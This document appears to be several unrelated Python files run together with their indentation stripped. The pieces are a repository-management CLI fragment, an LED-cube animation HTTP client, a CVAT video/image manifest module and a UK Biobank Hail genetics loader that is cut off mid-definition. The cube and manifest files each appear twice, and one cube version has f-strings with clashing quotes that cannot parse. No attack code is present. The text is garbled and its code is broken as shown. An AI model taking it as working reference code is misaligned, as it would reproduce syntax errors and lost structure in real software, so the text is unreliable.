if code not in DeliverySystem.success_responses:
print(f'Error deleting repository: {response.text}')
# add a repo to account or a file to a repo
if args.add:
# add a file to a repo?
if args.repo and args.file:
response = ds.AddFileToRepository(repo_name=args.repo, file_name=args.file, account_id=account_id)
code = response.status_code
print(f'Adding file "{args.file}" to repository "{args.repo}": {code}')
if code in DeliverySystem.success_responses:
print(response.text)
else:
print(f'Error adding file to repository: {response.text}')
# add a repo
elif args.repo:
response = ds.CreateRepository(repo_name=args.repo, account_id=account_id)
code = response.status_code
print(f'Adding repository "{args.repo}" to account ID {account_id}: {code}')
if code in DeliverySystem.success_responses:
print(response.text)
else:
print(f'Error adding repository to account: {response.text}')
# list files in repo or list all repos in account
if args.list:
# list files in a repo?
if args.repo:
response = ds.ListFilesInRepository(repo_name=args.repo, account_id=account_id)
if response.status_code in DeliverySystem.success_responses:
response = response.json()
print(f'{response["item_count"]} item(s) found in repository.\n')
for repo_file in response['items']:
print(f'Name: {repo_file["name"]}\nURL.: {repo_file["public_url"]}\n')
else:
print(f'Error listing files in repository: {response.text}')
# list repos in an account
else:
response = ds.ListRepositories(account_id=account_id)
if response.status_code in DeliverySystem.success_responses:
response = response.json()
print(f'{response["item_count"]} item(s) found in account.\n')
for repo in response['items']:
print(f'Name: {repo["name"]}')
else:
print(f'Error listing repositories in account: {response.text}')
|
# python module to make interfacing with the cube simpler
import requests
import json
class Animation(object):
def __init__(self):
self.animation_type = "None"
def to_json(self):
return f'{{'animation':{self.animation_type}}}'
class Blink(Animation):
def __init__(self, count=1, wait=100, red1=0, green1=0, blue1=255, red2=0, green2=0, blue2=0):
self.Count = count
self.Wait = wait
self.Red1 = red1
self.Green1 = green1
self.Blue1 = blue1
self.Red2 = red2
self.Green2 = green2
self.Blue2 = blue2
self.animation_type = "blink"
def to_json(self):
data = {
"animation": "blink",
"count": self.Count,
"wait": self.Wait,
"color": [
self.Red1,
self.Green1,
self.Blue1
],
"color2": [
self.Red2,
self.Green2,
self.Blue2
]
}
return json.dumps(data)
class Breathe(Animation):
def __init__(self, count=1, length=1000, red=0, green=0, blue=255):
self.Count = count
self.Length = length
self.Red = red
self.Green = green
self.Blue = blue
self.animation_type = "breathe"
def to_json(self):
data = {
"animation": "breathe",
"count": self.Count,
"length": self.Length,
"color": [
self.Red,
self.Green,
self.Blue
]
}
return json.dumps(data)
class Cube():
def __init__(self, url):
self.BASEURL = url
def get_color(self):
code, json = self.get('/color')
if code == 200: return json['red'], json['green'], json['blue']
return 0, 0, 0
def set_color(self, red, green, blue):
data = f'{{'red':{red}, "green":{green}, 'blue':{blue}}}'
self.post('/color', data)
def animate(self, animation):
data = animation.to_json()
self.post('/animate', data)
def set_tap(self, animation):
data = animation.to_json()
self.post('/tap', data)
def get(self, path):
r = requests.get(self.BASEURL+path)
if r.text:
return r.status_code, r.json()
return r.status_code, ''
def post(self, path, data):
r = requests.post(self.BASEURL+path, data=data)
if r.text:
return r.status_code, r.json()
return r.status_code, '' | # python module to make interfacing with the cube simpler
import requests
import json
class Animation(object):
def __init__(self):
self.animation_type = "None"
def to_json(self):
return f'{{"animation":{self.animation_type}}}'
class Blink(Animation):
def __init__(self, count=1, wait=100, red1=0, green1=0, blue1=255, red2=0, green2=0, blue2=0):
self.Count = count
self.Wait = wait
self.Red1 = red1
self.Green1 = green1
self.Blue1 = blue1
self.Red2 = red2
self.Green2 = green2
self.Blue2 = blue2
self.animation_type = "blink"
def to_json(self):
data = {
"animation": "blink",
"count": self.Count,
"wait": self.Wait,
"color": [
self.Red1,
self.Green1,
self.Blue1
],
"color2": [
self.Red2,
self.Green2,
self.Blue2
]
}
return json.dumps(data)
class Breathe(Animation):
def __init__(self, count=1, length=1000, red=0, green=0, blue=255):
self.Count = count
self.Length = length
self.Red = red
self.Green = green
self.Blue = blue
self.animation_type = "breathe"
def to_json(self):
data = {
"animation": "breathe",
"count": self.Count,
"length": self.Length,
"color": [
self.Red,
self.Green,
self.Blue
]
}
return json.dumps(data)
class Cube():
def __init__(self, url):
self.BASEURL = url
def get_color(self):
code, json = self.get('/color')
if code == 200: return json['red'], json['green'], json['blue']
return 0, 0, 0
def set_color(self, red, green, blue):
data = f'{{"red":{red}, "green":{green}, "blue":{blue}}}'
self.post('/color', data)
def animate(self, animation):
data = animation.to_json()
self.post('/animate', data)
def set_tap(self, animation):
data = animation.to_json()
self.post('/tap', data)
def get(self, path):
r = requests.get(self.BASEURL+path)
if r.text:
return r.status_code, r.json()
return r.status_code, ''
def post(self, path, data):
r = requests.post(self.BASEURL+path, data=data)
if r.text:
return r.status_code, r.json()
return r.status_code, '' |
# Copyright (C) 2021 Intel Corporation
#
# SPDX-License-Identifier: MIT
import av
import json
import os
from abc import ABC, abstractmethod, abstractproperty
from collections import OrderedDict
from contextlib import closing
from PIL import Image
from .utils import md5_hash, rotate_image
class VideoStreamReader:
def __init__(self, source_path):
self.source_path = source_path
self._key_frames = OrderedDict()
self.frames = 0
with closing(av.open(self.source_path, mode='r')) as container:
self.width, self.height = self._get_frame_size(container)
@staticmethod
def _get_video_stream(container):
video_stream = next(stream for stream in container.streams if stream.type == 'video')
video_stream.thread_type = 'AUTO'
return video_stream
@staticmethod
def _get_frame_size(container):
video_stream = VideoStreamReader._get_video_stream(container)
for packet in container.demux(video_stream):
for frame in packet.decode():
if video_stream.metadata.get('rotate'):
frame = av.VideoFrame().from_ndarray(
rotate_image(
frame.to_ndarray(format='bgr24'),
360 - int(container.streams.video[0].metadata.get('rotate')),
),
format ='bgr24',
)
return frame.width, frame.height
def check_type_first_frame(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
for packet in container.demux(video_stream):
for frame in packet.decode():
if not frame.pict_type.name == 'I':
raise Exception('First frame is not key frame')
return
def check_video_timestamps_sequences(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
frame_pts = -1
frame_dts = -1
for packet in container.demux(video_stream):
for frame in packet.decode():
if None not in {frame.pts, frame_pts} and frame.pts <= frame_pts:
raise Exception('Invalid pts sequences')
if None not in {frame.dts, frame_dts} and frame.dts <= frame_dts:
raise Exception('Invalid dts sequences')
frame_pts, frame_dts = frame.pts, frame.dts
def rough_estimate_frames_ratio(self, upper_bound):
analyzed_frames_number, key_frames_number = 0, 0
_processing_end = False
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
for packet in container.demux(video_stream):
for frame in packet.decode():
if frame.key_frame:
key_frames_number += 1
analyzed_frames_number += 1
if upper_bound == analyzed_frames_number:
_processing_end = True
break
if _processing_end:
break
# In our case no videos with non-key first frame, so 1 key frame is guaranteed
return analyzed_frames_number // key_frames_number
def validate_frames_ratio(self, chunk_size):
upper_bound = 3 * chunk_size
ratio = self.rough_estimate_frames_ratio(upper_bound + 1)
assert ratio < upper_bound, 'Too few keyframes'
def get_size(self):
return self.frames
@property
def frame_sizes(self):
return (self.width, self.height)
def validate_key_frame(self, container, video_stream, key_frame):
for packet in container.demux(video_stream):
for frame in packet.decode():
if md5_hash(frame) != key_frame[1]['md5'] or frame.pts != key_frame[1]['pts']:
self._key_frames.pop(key_frame[0])
return
def validate_seek_key_frames(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
key_frames_copy = self._key_frames.copy()
for key_frame in key_frames_copy.items():
container.seek(offset=key_frame[1]['pts'], stream=video_stream)
self.validate_key_frame(container, video_stream, key_frame)
def save_key_frames(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
frame_number = 0
for packet in container.demux(video_stream):
for frame in packet.decode():
if frame.key_frame:
self._key_frames[frame_number] = {
'pts': frame.pts,
'md5': md5_hash(frame),
}
frame_number += 1
self.frames = frame_number
@property
def key_frames(self):
return self._key_frames
def __len__(self):
return len(self._key_frames)
#TODO: need to change it in future
def __iter__(self):
for idx, key_frame in self._key_frames.items():
yield (idx, key_frame['pts'], key_frame['md5'])
class DatasetImagesReader:
def __init__(self, sources, meta=None, is_sorted=True, use_image_hash=False, *args, **kwargs):
self._sources = sources if is_sorted else sorted(sources)
self._meta = meta
self._content = []
self._data_dir = kwargs.get('data_dir', None)
self._use_image_hash = use_image_hash
def __iter__(self):
for image in self._sources:
img = Image.open(image, mode='r')
img_name = os.path.relpath(image, self._data_dir) if self._data_dir \
else os.path.basename(image)
name, extension = os.path.splitext(img_name)
image_properties = {
'name': name,
'extension': extension,
'width': img.width,
'height': img.height,
}
if self._meta and img_name in self._meta:
image_properties['meta'] = self._meta[img_name]
if self._use_image_hash:
image_properties['checksum'] = md5_hash(img)
yield image_properties
def create(self):
for item in self:
self._content.append(item)
@property
def content(self):
return self._content
class _Manifest:
FILE_NAME = 'manifest.jsonl'
VERSION = '1.1'
def __init__(self, path, upload_dir=None):
assert path, 'A path to manifest file not found'
self._path = os.path.join(path, self.FILE_NAME) if os.path.isdir(path) else path
self._upload_dir = upload_dir
@property
def path(self):
return self._path
@property
def name(self):
return os.path.basename(self._path) if not self._upload_dir \
else os.path.relpath(self._path, self._upload_dir)
# Needed for faster iteration over the manifest file, will be generated to work inside CVAT
# and will not be generated when manually creating a manifest
class _Index:
FILE_NAME = 'index.json'
def __init__(self, path):
assert path and os.path.isdir(path), 'No index directory path'
self._path = os.path.join(path, self.FILE_NAME)
self._index = {}
@property
def path(self):
return self._path
def dump(self):
with open(self._path, 'w') as index_file:
json.dump(self._index, index_file, separators=(',', ':'))
def load(self):
with open(self._path, 'r') as index_file:
self._index = json.load(index_file,
object_hook=lambda d: {int(k): v for k, v in d.items()})
def remove(self):
os.remove(self._path)
def create(self, manifest, skip):
assert os.path.exists(manifest), 'A manifest file not exists, index cannot be created'
with open(manifest, 'r+') as manifest_file:
while skip:
manifest_file.readline()
skip -= 1
image_number = 0
position = manifest_file.tell()
line = manifest_file.readline()
while line:
if line.strip():
self._index[image_number] = position
image_number += 1
position = manifest_file.tell()
line = manifest_file.readline()
def partial_update(self, manifest, number):
assert os.path.exists(manifest), 'A manifest file not exists, index cannot be updated'
with open(manifest, 'r+') as manifest_file:
manifest_file.seek(self._index[number])
line = manifest_file.readline()
while line:
if line.strip():
self._index[number] = manifest_file.tell()
number += 1
line = manifest_file.readline()
def __getitem__(self, number):
assert 0 <= number < len(self), \
'A invalid index number: {}\nMax: {}'.format(number, len(self))
return self._index[number]
def __len__(self):
return len(self._index)
class _ManifestManager(ABC):
BASE_INFORMATION = {
'version' : 1,
'type': 2,
}
def _json_item_is_valid(self, **state):
for item in self._requared_item_attributes:
if state.get(item, None) is None:
raise Exception(f"Invalid '{self.manifest.name} file structure': '{item}' is required, but not found")
def __init__(self, path, upload_dir=None, *args, **kwargs):
self._manifest = _Manifest(path, upload_dir)
self._index = _Index(os.path.dirname(self._manifest.path))
def _parse_line(self, line):
""" Getting a random line from the manifest file """
with open(self._manifest.path, 'r') as manifest_file:
if isinstance(line, str):
assert line in self.BASE_INFORMATION.keys(), \
'An attempt to get non-existent information from the manifest'
for _ in range(self.BASE_INFORMATION[line]):
fline = manifest_file.readline()
return json.loads(fline)[line]
else:
assert self._index, 'No prepared index'
offset = self._index[line]
manifest_file.seek(offset)
properties = manifest_file.readline()
parsed_properties = json.loads(properties)
self._json_item_is_valid(**parsed_properties)
return parsed_properties
def init_index(self):
if os.path.exists(self._index.path):
self._index.load()
else:
self._index.create(self._manifest.path, 3 if self._manifest.TYPE == 'video' else 2)
self._index.dump()
def reset_index(self):
if os.path.exists(self._index.path):
self._index.remove()
def set_index(self):
self.reset_index()
self.init_index()
@abstractmethod
def create(self, content, **kwargs):
pass
@abstractmethod
def partial_update(self, number, properties):
pass
def __iter__(self):
with open(self._manifest.path, 'r') as manifest_file:
manifest_file.seek(self._index[0])
image_number = 0
line = manifest_file.readline()
while line:
if not line.strip():
continue
parsed_properties = json.loads(line)
self._json_item_is_valid(**parsed_properties)
yield (image_number, parsed_properties)
image_number += 1
line = manifest_file.readline()
@property
def manifest(self):
return self._manifest
def __len__(self):
if hasattr(self, '_index'):
return len(self._index)
else:
return None
def __getitem__(self, item):
return self._parse_line(item)
@property
def index(self):
return self._index
@abstractproperty
def data(self):
pass
@abstractmethod
def get_subset(self, subset_names):
pass
class VideoManifestManager(_ManifestManager):
_requared_item_attributes = {'number', 'pts'}
def __init__(self, manifest_path):
super().__init__(manifest_path)
setattr(self._manifest, 'TYPE', 'video')
self.BASE_INFORMATION['properties'] = 3
def create(self, content, **kwargs):
""" Creating and saving a manifest file """
with open(self._manifest.path, 'w') as manifest_file:
base_info = {
'version': self._manifest.VERSION,
'type': self._manifest.TYPE,
'properties': {
'name': os.path.basename(content.source_path),
'resolution': content.frame_sizes,
'length': content.get_size(),
},
}
for key, value in base_info.items():
json_item = json.dumps({key: value}, separators=(',', ':'))
manifest_file.write(f'{json_item}\n')
for item in content:
json_item = json.dumps({
'number': item[0],
'pts': item[1],
'checksum': item[2]
}, separators=(',', ':'))
manifest_file.write(f"{json_item}\n")
def partial_update(self, number, properties):
pass
@staticmethod
def prepare_meta(media_file, upload_dir=None, chunk_size=36, force=False):
source_path = os.path.join(upload_dir, media_file) if upload_dir else media_file
meta_info = VideoStreamReader(source_path=source_path)
meta_info.check_type_first_frame()
try:
meta_info.validate_frames_ratio(chunk_size)
except AssertionError:
if not force:
raise
meta_info.check_video_timestamps_sequences()
meta_info.save_key_frames()
meta_info.validate_seek_key_frames()
return meta_info
@property
def video_name(self):
return self['properties']['name']
@property
def video_resolution(self):
return self['properties']['resolution']
@property
def video_length(self):
return self['properties']['length']
@property
def data(self):
return (self.video_name)
def get_subset(self, subset_names):
raise NotImplementedError()
#TODO: add generic manifest structure file validation
class ManifestValidator:
def validate_base_info(self):
with open(self._manifest.path, 'r') as manifest_file:
assert self._manifest.VERSION != json.loads(manifest_file.readline())['version']
assert self._manifest.TYPE != json.loads(manifest_file.readline())['type']
class VideoManifestValidator(VideoManifestManager):
def __init__(self, source_path, manifest_path):
self.source_path = source_path
super().__init__(manifest_path)
@staticmethod
def _get_video_stream(container):
video_stream = next(stream for stream in container.streams if stream.type == 'video')
video_stream.thread_type = 'AUTO'
return video_stream
def validate_key_frame(self, container, video_stream, key_frame):
for packet in container.demux(video_stream):
for frame in packet.decode():
assert frame.pts == key_frame['pts'], "The uploaded manifest does not match the video"
return
def validate_seek_key_frames(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
last_key_frame = None
for _, key_frame in self:
# check that key frames sequence sorted
if last_key_frame and last_key_frame['number'] >= key_frame['number']:
raise AssertionError('Invalid saved key frames sequence in manifest file')
container.seek(offset=key_frame['pts'], stream=video_stream)
self.validate_key_frame(container, video_stream, key_frame)
last_key_frame = key_frame
def validate_frame_numbers(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
# not all videos contain information about numbers of frames
frames = video_stream.frames
if frames:
assert frames == self.video_length, "The uploaded manifest does not match the video"
return
class ImageManifestManager(_ManifestManager):
_requared_item_attributes = {'name', 'extension'}
def __init__(self, manifest_path, upload_dir=None):
super().__init__(manifest_path, upload_dir)
setattr(self._manifest, 'TYPE', 'images')
def create(self, content, **kwargs):
""" Creating and saving a manifest file"""
with open(self._manifest.path, 'w') as manifest_file:
base_info = {
'version': self._manifest.VERSION,
'type': self._manifest.TYPE,
}
for key, value in base_info.items():
json_item = json.dumps({key: value}, separators=(',', ':'))
manifest_file.write(f'{json_item}\n')
for item in content:
json_item = json.dumps({
key: value for key, value in item.items()
}, separators=(',', ':'))
manifest_file.write(f"{json_item}\n")
def partial_update(self, number, properties):
pass
@staticmethod
def prepare_meta(sources, **kwargs):
meta_info = DatasetImagesReader(sources=sources, **kwargs)
meta_info.create()
return meta_info
@property
def data(self):
return (f"{image["name"]}{image["extension"]}" for _, image in self)
def get_subset(self, subset_names):
return ({
'name': f"{image["name"]}",
'extension': f"{image["extension"]}",
'width': image['width'],
'height': image['height'],
'meta': image['meta'],
'checksum': f"{image["checksum"]}"
} for _, image in self if f"{image["name"]}{image["extension"]}" in subset_names) | # Copyright (C) 2021 Intel Corporation
#
# SPDX-License-Identifier: MIT
import av
import json
import os
from abc import ABC, abstractmethod, abstractproperty
from collections import OrderedDict
from contextlib import closing
from PIL import Image
from .utils import md5_hash, rotate_image
class VideoStreamReader:
def __init__(self, source_path):
self.source_path = source_path
self._key_frames = OrderedDict()
self.frames = 0
with closing(av.open(self.source_path, mode='r')) as container:
self.width, self.height = self._get_frame_size(container)
@staticmethod
def _get_video_stream(container):
video_stream = next(stream for stream in container.streams if stream.type == 'video')
video_stream.thread_type = 'AUTO'
return video_stream
@staticmethod
def _get_frame_size(container):
video_stream = VideoStreamReader._get_video_stream(container)
for packet in container.demux(video_stream):
for frame in packet.decode():
if video_stream.metadata.get('rotate'):
frame = av.VideoFrame().from_ndarray(
rotate_image(
frame.to_ndarray(format='bgr24'),
360 - int(container.streams.video[0].metadata.get('rotate')),
),
format ='bgr24',
)
return frame.width, frame.height
def check_type_first_frame(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
for packet in container.demux(video_stream):
for frame in packet.decode():
if not frame.pict_type.name == 'I':
raise Exception('First frame is not key frame')
return
def check_video_timestamps_sequences(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
frame_pts = -1
frame_dts = -1
for packet in container.demux(video_stream):
for frame in packet.decode():
if None not in {frame.pts, frame_pts} and frame.pts <= frame_pts:
raise Exception('Invalid pts sequences')
if None not in {frame.dts, frame_dts} and frame.dts <= frame_dts:
raise Exception('Invalid dts sequences')
frame_pts, frame_dts = frame.pts, frame.dts
def rough_estimate_frames_ratio(self, upper_bound):
analyzed_frames_number, key_frames_number = 0, 0
_processing_end = False
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
for packet in container.demux(video_stream):
for frame in packet.decode():
if frame.key_frame:
key_frames_number += 1
analyzed_frames_number += 1
if upper_bound == analyzed_frames_number:
_processing_end = True
break
if _processing_end:
break
# In our case no videos with non-key first frame, so 1 key frame is guaranteed
return analyzed_frames_number // key_frames_number
def validate_frames_ratio(self, chunk_size):
upper_bound = 3 * chunk_size
ratio = self.rough_estimate_frames_ratio(upper_bound + 1)
assert ratio < upper_bound, 'Too few keyframes'
def get_size(self):
return self.frames
@property
def frame_sizes(self):
return (self.width, self.height)
def validate_key_frame(self, container, video_stream, key_frame):
for packet in container.demux(video_stream):
for frame in packet.decode():
if md5_hash(frame) != key_frame[1]['md5'] or frame.pts != key_frame[1]['pts']:
self._key_frames.pop(key_frame[0])
return
def validate_seek_key_frames(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
key_frames_copy = self._key_frames.copy()
for key_frame in key_frames_copy.items():
container.seek(offset=key_frame[1]['pts'], stream=video_stream)
self.validate_key_frame(container, video_stream, key_frame)
def save_key_frames(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
frame_number = 0
for packet in container.demux(video_stream):
for frame in packet.decode():
if frame.key_frame:
self._key_frames[frame_number] = {
'pts': frame.pts,
'md5': md5_hash(frame),
}
frame_number += 1
self.frames = frame_number
@property
def key_frames(self):
return self._key_frames
def __len__(self):
return len(self._key_frames)
#TODO: need to change it in future
def __iter__(self):
for idx, key_frame in self._key_frames.items():
yield (idx, key_frame['pts'], key_frame['md5'])
class DatasetImagesReader:
def __init__(self, sources, meta=None, is_sorted=True, use_image_hash=False, *args, **kwargs):
self._sources = sources if is_sorted else sorted(sources)
self._meta = meta
self._content = []
self._data_dir = kwargs.get('data_dir', None)
self._use_image_hash = use_image_hash
def __iter__(self):
for image in self._sources:
img = Image.open(image, mode='r')
img_name = os.path.relpath(image, self._data_dir) if self._data_dir \
else os.path.basename(image)
name, extension = os.path.splitext(img_name)
image_properties = {
'name': name,
'extension': extension,
'width': img.width,
'height': img.height,
}
if self._meta and img_name in self._meta:
image_properties['meta'] = self._meta[img_name]
if self._use_image_hash:
image_properties['checksum'] = md5_hash(img)
yield image_properties
def create(self):
for item in self:
self._content.append(item)
@property
def content(self):
return self._content
class _Manifest:
FILE_NAME = 'manifest.jsonl'
VERSION = '1.1'
def __init__(self, path, upload_dir=None):
assert path, 'A path to manifest file not found'
self._path = os.path.join(path, self.FILE_NAME) if os.path.isdir(path) else path
self._upload_dir = upload_dir
@property
def path(self):
return self._path
@property
def name(self):
return os.path.basename(self._path) if not self._upload_dir \
else os.path.relpath(self._path, self._upload_dir)
# Needed for faster iteration over the manifest file, will be generated to work inside CVAT
# and will not be generated when manually creating a manifest
class _Index:
FILE_NAME = 'index.json'
def __init__(self, path):
assert path and os.path.isdir(path), 'No index directory path'
self._path = os.path.join(path, self.FILE_NAME)
self._index = {}
@property
def path(self):
return self._path
def dump(self):
with open(self._path, 'w') as index_file:
json.dump(self._index, index_file, separators=(',', ':'))
def load(self):
with open(self._path, 'r') as index_file:
self._index = json.load(index_file,
object_hook=lambda d: {int(k): v for k, v in d.items()})
def remove(self):
os.remove(self._path)
def create(self, manifest, skip):
assert os.path.exists(manifest), 'A manifest file not exists, index cannot be created'
with open(manifest, 'r+') as manifest_file:
while skip:
manifest_file.readline()
skip -= 1
image_number = 0
position = manifest_file.tell()
line = manifest_file.readline()
while line:
if line.strip():
self._index[image_number] = position
image_number += 1
position = manifest_file.tell()
line = manifest_file.readline()
def partial_update(self, manifest, number):
assert os.path.exists(manifest), 'A manifest file not exists, index cannot be updated'
with open(manifest, 'r+') as manifest_file:
manifest_file.seek(self._index[number])
line = manifest_file.readline()
while line:
if line.strip():
self._index[number] = manifest_file.tell()
number += 1
line = manifest_file.readline()
def __getitem__(self, number):
assert 0 <= number < len(self), \
'A invalid index number: {}\nMax: {}'.format(number, len(self))
return self._index[number]
def __len__(self):
return len(self._index)
class _ManifestManager(ABC):
BASE_INFORMATION = {
'version' : 1,
'type': 2,
}
def _json_item_is_valid(self, **state):
for item in self._requared_item_attributes:
if state.get(item, None) is None:
raise Exception(f"Invalid '{self.manifest.name} file structure': '{item}' is required, but not found")
def __init__(self, path, upload_dir=None, *args, **kwargs):
self._manifest = _Manifest(path, upload_dir)
self._index = _Index(os.path.dirname(self._manifest.path))
def _parse_line(self, line):
""" Getting a random line from the manifest file """
with open(self._manifest.path, 'r') as manifest_file:
if isinstance(line, str):
assert line in self.BASE_INFORMATION.keys(), \
'An attempt to get non-existent information from the manifest'
for _ in range(self.BASE_INFORMATION[line]):
fline = manifest_file.readline()
return json.loads(fline)[line]
else:
assert self._index, 'No prepared index'
offset = self._index[line]
manifest_file.seek(offset)
properties = manifest_file.readline()
parsed_properties = json.loads(properties)
self._json_item_is_valid(**parsed_properties)
return parsed_properties
def init_index(self):
if os.path.exists(self._index.path):
self._index.load()
else:
self._index.create(self._manifest.path, 3 if self._manifest.TYPE == 'video' else 2)
self._index.dump()
def reset_index(self):
if os.path.exists(self._index.path):
self._index.remove()
def set_index(self):
self.reset_index()
self.init_index()
@abstractmethod
def create(self, content, **kwargs):
pass
@abstractmethod
def partial_update(self, number, properties):
pass
def __iter__(self):
with open(self._manifest.path, 'r') as manifest_file:
manifest_file.seek(self._index[0])
image_number = 0
line = manifest_file.readline()
while line:
if not line.strip():
continue
parsed_properties = json.loads(line)
self._json_item_is_valid(**parsed_properties)
yield (image_number, parsed_properties)
image_number += 1
line = manifest_file.readline()
@property
def manifest(self):
return self._manifest
def __len__(self):
if hasattr(self, '_index'):
return len(self._index)
else:
return None
def __getitem__(self, item):
return self._parse_line(item)
@property
def index(self):
return self._index
@abstractproperty
def data(self):
pass
@abstractmethod
def get_subset(self, subset_names):
pass
class VideoManifestManager(_ManifestManager):
_requared_item_attributes = {'number', 'pts'}
def __init__(self, manifest_path):
super().__init__(manifest_path)
setattr(self._manifest, 'TYPE', 'video')
self.BASE_INFORMATION['properties'] = 3
def create(self, content, **kwargs):
""" Creating and saving a manifest file """
with open(self._manifest.path, 'w') as manifest_file:
base_info = {
'version': self._manifest.VERSION,
'type': self._manifest.TYPE,
'properties': {
'name': os.path.basename(content.source_path),
'resolution': content.frame_sizes,
'length': content.get_size(),
},
}
for key, value in base_info.items():
json_item = json.dumps({key: value}, separators=(',', ':'))
manifest_file.write(f'{json_item}\n')
for item in content:
json_item = json.dumps({
'number': item[0],
'pts': item[1],
'checksum': item[2]
}, separators=(',', ':'))
manifest_file.write(f"{json_item}\n")
def partial_update(self, number, properties):
pass
@staticmethod
def prepare_meta(media_file, upload_dir=None, chunk_size=36, force=False):
source_path = os.path.join(upload_dir, media_file) if upload_dir else media_file
meta_info = VideoStreamReader(source_path=source_path)
meta_info.check_type_first_frame()
try:
meta_info.validate_frames_ratio(chunk_size)
except AssertionError:
if not force:
raise
meta_info.check_video_timestamps_sequences()
meta_info.save_key_frames()
meta_info.validate_seek_key_frames()
return meta_info
@property
def video_name(self):
return self['properties']['name']
@property
def video_resolution(self):
return self['properties']['resolution']
@property
def video_length(self):
return self['properties']['length']
@property
def data(self):
return (self.video_name)
def get_subset(self, subset_names):
raise NotImplementedError()
#TODO: add generic manifest structure file validation
class ManifestValidator:
def validate_base_info(self):
with open(self._manifest.path, 'r') as manifest_file:
assert self._manifest.VERSION != json.loads(manifest_file.readline())['version']
assert self._manifest.TYPE != json.loads(manifest_file.readline())['type']
class VideoManifestValidator(VideoManifestManager):
def __init__(self, source_path, manifest_path):
self.source_path = source_path
super().__init__(manifest_path)
@staticmethod
def _get_video_stream(container):
video_stream = next(stream for stream in container.streams if stream.type == 'video')
video_stream.thread_type = 'AUTO'
return video_stream
def validate_key_frame(self, container, video_stream, key_frame):
for packet in container.demux(video_stream):
for frame in packet.decode():
assert frame.pts == key_frame['pts'], "The uploaded manifest does not match the video"
return
def validate_seek_key_frames(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
last_key_frame = None
for _, key_frame in self:
# check that key frames sequence sorted
if last_key_frame and last_key_frame['number'] >= key_frame['number']:
raise AssertionError('Invalid saved key frames sequence in manifest file')
container.seek(offset=key_frame['pts'], stream=video_stream)
self.validate_key_frame(container, video_stream, key_frame)
last_key_frame = key_frame
def validate_frame_numbers(self):
with closing(av.open(self.source_path, mode='r')) as container:
video_stream = self._get_video_stream(container)
# not all videos contain information about numbers of frames
frames = video_stream.frames
if frames:
assert frames == self.video_length, "The uploaded manifest does not match the video"
return
class ImageManifestManager(_ManifestManager):
_requared_item_attributes = {'name', 'extension'}
def __init__(self, manifest_path, upload_dir=None):
super().__init__(manifest_path, upload_dir)
setattr(self._manifest, 'TYPE', 'images')
def create(self, content, **kwargs):
""" Creating and saving a manifest file"""
with open(self._manifest.path, 'w') as manifest_file:
base_info = {
'version': self._manifest.VERSION,
'type': self._manifest.TYPE,
}
for key, value in base_info.items():
json_item = json.dumps({key: value}, separators=(',', ':'))
manifest_file.write(f'{json_item}\n')
for item in content:
json_item = json.dumps({
key: value for key, value in item.items()
}, separators=(',', ':'))
manifest_file.write(f"{json_item}\n")
def partial_update(self, number, properties):
pass
@staticmethod
def prepare_meta(sources, **kwargs):
meta_info = DatasetImagesReader(sources=sources, **kwargs)
meta_info.create()
return meta_info
@property
def data(self):
return (f"{image['name']}{image['extension']}" for _, image in self)
def get_subset(self, subset_names):
return ({
'name': f"{image['name']}",
'extension': f"{image['extension']}",
'width': image['width'],
'height': image['height'],
'meta': image['meta'],
'checksum': f"{image['checksum']}"
} for _, image in self if f"{image['name']}{image['extension']}" in subset_names) |
import hail as hl
from .generic import *
ukb_imputed_bgen_path = 'gs://fc-7d5088b4-7673-45b5-95c2-17ae00a04183/imputed/ukb_imp_chr{}_v3.bgen'
ukb_imputed_info_path = 'gs://fc-7d5088b4-7673-45b5-95c2-17ae00a04183/imputed/ukb_mfi_chr{}_v3.txt'
ukb_imputed_info_ht_path = f'{bucket}/imputed/ukb_mfi_v3.ht'
def get_sample_file(chromosome: str = '1'):
if chromosome not in ('X', 'XY'):
chromosome = 'autosomes'
elif not chromosome.startswith('chr'):
chromosome = f'chr{chromosome}'
return f'gs://ukb31063/ukb31063.{chromosome}.sample'
def get_ukb_imputed_data(chromosome: str = '1', variant_list: hl.Table = None, entry_fields = ('GP', )):
if chromosome == 'all':
chromosome = '{' + ','.join(map(str, range(1, 23))) + '}'
add_args = {}
if variant_list is not None:
add_args['variants'] = variant_list
return hl.import_bgen(ukb_imputed_bgen_path.format(chromosome), entry_fields=entry_fields,
sample_file=get_sample_file(chromosome), **add_args)
def get_filtered_mt(chrom: str = 'all',
pop: str = 'all',
imputed: bool = True,
min_mac: int = 20,
entry_fields=('GP',),
filter_mac_instead_of_ac: bool = False):
# get ac or mac based on filter_mac_instead_of_ac
def get_ac(af, an):
if filter_mac_instead_of_ac:
# Note that the underlying file behind get_ukb_af_ht_path() accidentally double af and halve an
return (1.0 - hl.abs(1.0 - af)) * an
else:
return af * an
if imputed:
ht = hl.read_table(get_ukb_af_ht_path())
if pop == 'all':
ht = ht.filter(hl.any(lambda x: get_ac(ht.af[x], ht.an[x]) >= min_mac, hl.literal(POPS)))
else:
ht = ht.filter(get_ac(ht.af[pop], ht.an[pop]) >= min_mac)
mt = get_ukb_imputed_data(chrom, variant_list=ht, entry_fields=entry_fields)
else:
mt = hl.read_matrix_table('gs://ukb31063/ukb31063.genotype.mt')
covariates_ht = get_covariates()
hq_samples_ht = get_hq_samples()
mt = mt.annotate_cols(**covariates_ht[mt.s])
mt = mt.filter_cols(hl.is_defined(mt.pop) & hl.is_defined(hq_samples_ht[mt.s]))
if pop != 'all': mt = mt.filter_cols(mt.pop == pop)
return mt
def get_ukb_af_ht_path(with_x = True, repart=False):
